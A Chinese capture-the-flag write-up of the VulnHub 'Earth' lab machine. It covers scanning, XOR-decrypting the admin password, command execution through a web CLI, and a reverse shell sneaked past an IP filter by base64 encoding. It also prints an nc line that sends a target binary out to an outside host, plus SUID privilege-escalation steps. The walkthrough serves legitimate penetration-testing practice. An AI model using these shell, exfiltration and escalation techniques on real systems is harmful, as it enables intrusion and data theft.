VulnHub靶机之earth
2023-6-16 21:28:58 Author: www.freebuf.com(查看原文) 阅读量:12 收藏

一 信息收集

1.nmap扫描

快速扫描

1686920537_648c5d5942fec329db874.jpg!small?1686920537840

1686921042_648c5f52af121dae02764.jpg!small?1686921043303

1686921097_648c5f89b696e0a295379.jpg!small?1686921098434

1686921112_648c5f98ea36a256fd58b.jpg!small?1686921114037

浏览器访问http://10.9.46.117,发现无法正常访问页面,显示400,再次访问https://10.9.46.117,发现出现服务器Apache的页面,一度以为不是该页面

补充:当我们在浏览器中打开一个需要登陆的网站的时候,系统会首先从Hosts文件中去寻找对应的IP地址,然后去打开相应的网站,一般来说国内的网站都能顺利的打开,但是像GitHub、Coursera等网站的访问会出现一些问题

这时候可以通过修改Hosts文件来解决网站无法访问的问题

对于Lotus的服务器和一些数据库服务器,在访问时如果直接输入IP地址那是不能访问的,只能输入服务器名才能访问。那么我们配置好Hosts文件,这样输入服务器名就能顺利连接了

补充:修改Hosts文件解决网站访问问题 - 知乎 (zhihu.com)

深度扫描

1686921127_648c5fa758e9f4a9f2ae3.jpg!small?1686921128889

从nmap深度扫描中,我们知道80端口(http)开启,22(ssh)端口开启,服务器版本Apache2.4.51 ,使用的服务器插件为mod_wsgi4.7.1/python3.9,443端口开启,使用的服务器插件为mod_wsgi4.7.1/python3.9,DNS域名解析

所以,我们要在hosts文件中添加本地缓存

1686921335_648c60776388c14609f0f.jpg!small?1686921336723

注意:两个域名都要添加,而且访问的时候,最好使用域名访问,使用ip访问不成功,例如:https://earth.localhttps://terratest.earth.local

1686921344_648c6080925d1367b0164.jpg!small?1686921345620

1686921357_648c608d5ac2f9dab1f4a.jpg!small?1686921358409

补充:Web服务器网关接口Python Web Server Gateway Interface,缩写为WSGI)是为Python语言定义的Web服务器和Web应用程序或框架之间的一种简单而通用的接口。自从WSGI被开发出来以后,许多其它语言中也出现了类似接口。

2.敏感目录扫描

1686921368_648c60988fbb6c813f523.jpg!small?1686921369368

1686921376_648c60a0b212ffbe2840b.jpg!small?1686921377635

注意:两个域名都要扫描,扫出了不同目录

https://terratest.earth.local

1686921389_648c60ad0c57a4340eddc.jpg!small?1686921390410

1686921396_648c60b4209930788e6dd.jpg!small?1686921396849

1686921404_648c60bc160c4d6b5c885.jpg!small?1686921404911

重要信息:
1.RSA,XOR(异或加密算法)
2地球已经确认他们收到了我们发送的消息(地球页面的那些字符串)
3.ageststdata .txt用于测试加密(地球页面作为测试页面)
4.terra用作管理门户的用户名。

https://earth.local

1686921419_648c60cb87eb2b59a3b20.jpg!small?1686921420115

1686921431_648c60d7df416086b5e0e.jpg!small?1686921432743

3 查看网页源码

1686921465_648c60f91e0ad0040e63b.jpg!small?1686921465740

1686921476_648c61047d30d0b67712e.jpg!small?1686921477123

网页源码没有发现可利用的东西

二 威胁建模

当看到上述页面时,认为可能有文件上传漏洞,发送一句话木马,后来经过尝试,发现不能利用,我们尝试从admin页面出发,结果发现需要登录

1686921487_648c610fae84aca422207.jpg!small?1686921488322

1686921494_648c6116d3847e7be3f53.jpg!small?1686921495524

1686921544_648c6148d048d5f1a3809.jpg!small?1686921545868

根据放射性测年法估计和其他证据,地球形成超过45亿年以前的事了。在地球历史的最初10亿年里,生命出现在海洋中,并开始繁衍影响地球的大气和表面,导致厌氧生物和后来的好氧生物的增殖生物。一些地质证据表明,生命可能早在41亿年前就出现了前

这是什么鬼?地理知识,事出反常必有妖,结果想破脑袋也想不出来,使用资源共享,发现需要这段文字配合index页面(有地球图片的那个页面)的那些16进制的字符串解密。

经过解密,发现一个字符串比较特殊,

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

这又是搞什么,经过七七四十九分钟后,不想了,使用资源共享,知道了它可能是密码

earthclimatechangebad4humans

1686921563_648c615b93c8228338cb7.jpg!small?1686921565069

登录页面后,发现是一个命令框,先尝试常规命令

1686921571_648c6163d5d70ed10b7ff.jpg!small?1686921572456

1686921592_648c6178c1ce5496ec0b8.jpg!small?1686921593479

我们发现当在admin页面的CLI中输入Linux常规命令时,竟然可以显示对应的内容,这就好办了

查看用户

1686921605_648c6185ce52a2336f934.jpg!small?1686921606638

查看内核版本

1686921614_648c618edca56e6144c75.jpg!small?1686921615642

查看特殊权限

1686921623_648c6197d0866a4b1b430.jpg!small?1686921624457

说明apache用户没有特殊权限

查看敏感文件

1686921630_648c619e1adf73b59156c.jpg!small?1686921631077

1686921639_648c61a7bb7650bc3a3a4.jpg!small?1686921640657

上述某些敏感信息虽然都可以都可以命令行显示出来,但是显然对于黑客来说,这远远是不够的,还是需要提权

既然输入CLI框中的命令可以起作用,我们可以是否可以利用nc反弹shell,与服务器建立连接,从而进入服务器内部

1686921654_648c61b66917d0e7ba26e.jpg!small?1686921655245

1686921664_648c61c0e810e3fed8af7.jpg!small?1686921665723

1686921679_648c61cf64ad59491ea2b.jpg!small?1686921680149

1686921689_648c61d92e4e2c88649b8.jpg!small?1686921689928

我们利用NC直接反弹,利用bash命令反弹,利用python命令反弹都不起作用,经过长达1小时的辗转反侧,使用共享资源,发现他对ip地址进行了过滤。

1686921703_648c61e74a96a505064ef.jpg!small?1686921703931

1686921711_648c61ef5dbf420f2e2b8.jpg!small?1686921712218

1686921722_648c61fab3f7fb5542671.jpg!small?1686921723795

我们使用base64编码,将整个命令直接base64

1686921731_648c6203a15fb6e1ed63d.jpg!small?1686921732654

使用反弹shell,与服务器建立连接

1686921742_648c620e1371a59788561.jpg!small?1686921742795

1686921750_648c62162ac6cef872fa0.jpg!small?1686921751094

三 渗透测试

1.查询用户信息

1686921759_648c621fe448f6b2393de.jpg!small?1686921760584

1686921767_648c62278a9b84021bf66.jpg!small?1686921768878

2.查询用户特权

1686921775_648c622fa0754817e052e.jpg!small?1686921776452

1686921782_648c62364e8bb2d08eed5.jpg!small?1686921783074

3.suid提权

1686921792_648c62407262110ff7855.jpg!small?1686921793376

常规命令可以使用,find可以用,但是sudo不可用,说明可能使用suid方式提权,但是发现不能进入别的目录(权限不足),绞尽脑汁,最终决定使用资源共享

查看SUID程序:find / -perm -u=s -type f 2>/dev/null

1686921802_648c624aa62449be1d63a.jpg!small?1686921803991

根据搜索出来的文件,可以尝试通过/usr/bin/reset_root进行提权。

直接运行结果

1686921818_648c625aaef3539cfce58.jpg!small?1686921819259

通过NC将文件拿出来,strace进行动态分析:

nc -nv 192.168.56.102 4445 < /usr/bin/reset_root
strace ./reset_root_file```

1686921827_648c62635c29e95ab69fa.jpg!small?1686921828383

1686921834_648c626aecca2b3fe7fc1.jpg!small?1686921835930

1686921843_648c62732b8aadacc6033.png!small?1686921844296

可以看到上面运行reset_root时系统输出的两句话之间,报错找不到3个文件:

  • /dev/shm/kHgTFI5G

  • /dev/shm/Zw7bV9U5

  • /tmp/kcM0Wewe

touch创建这三个文件,再运行reset_root,发现将root密码重置成了Earth

1686921851_648c627bc190cdfa1b06b.jpg!small?1686921852345

1686921858_648c62821de8d3780a596.jpg!small?1686921858766

1686921864_648c6288610704eab61fb.jpg!small?1686921865225

1686921873_648c6291c2f88f164f6a2.png!small?1686921874549

1686921880_648c6298b84c0ed21df31.jpg!small?1686921881599

1686921889_648c62a1eacee125bfdff.jpg!small?1686921891549

总结

思路:

我们通过webshell,利用nc反弹shell,进入服务器内部 ,通过suid方式提权。

手段:

1.掌握了一种加密方式,通过密文与XOR加密方式(或其他加密方式),这样更加安全,解密缺一不可。(可利用专门的在线解密工具)

2.掌握了一种IP绕过的方式(建立反弹shell),base64编码,16进制编码等

3.提权方式(suid)

难点:1.解密经验欠缺(第一次遇到,搜索方式不对,只能使用资源共享)

2.建立反弹shell,遇到ip绕过,没有思路(反弹shell不起作用,直接懵逼,没有思路,使用资源共享)

3.知道使用suid提权(之前遇到过此类情况),但是不知道具体怎么做(使用资源共享)

收获:1.敏感性(网站页面信息是个十分神奇的东西,说它没用,它会在你意想不到的地方发挥至关重要的作用,说它有用,你有时候又不知道它到底有什么用)

2.思路(拓宽了思路,知道有这样一种套路,具体流程,待总结)

3.手段(在线解密工具,suid提权中的reset_root提权,反弹shell的ip绕过)


文章来源: https://www.freebuf.com/articles/web/369771.html
如有侵权请联系:admin#unsafe.sh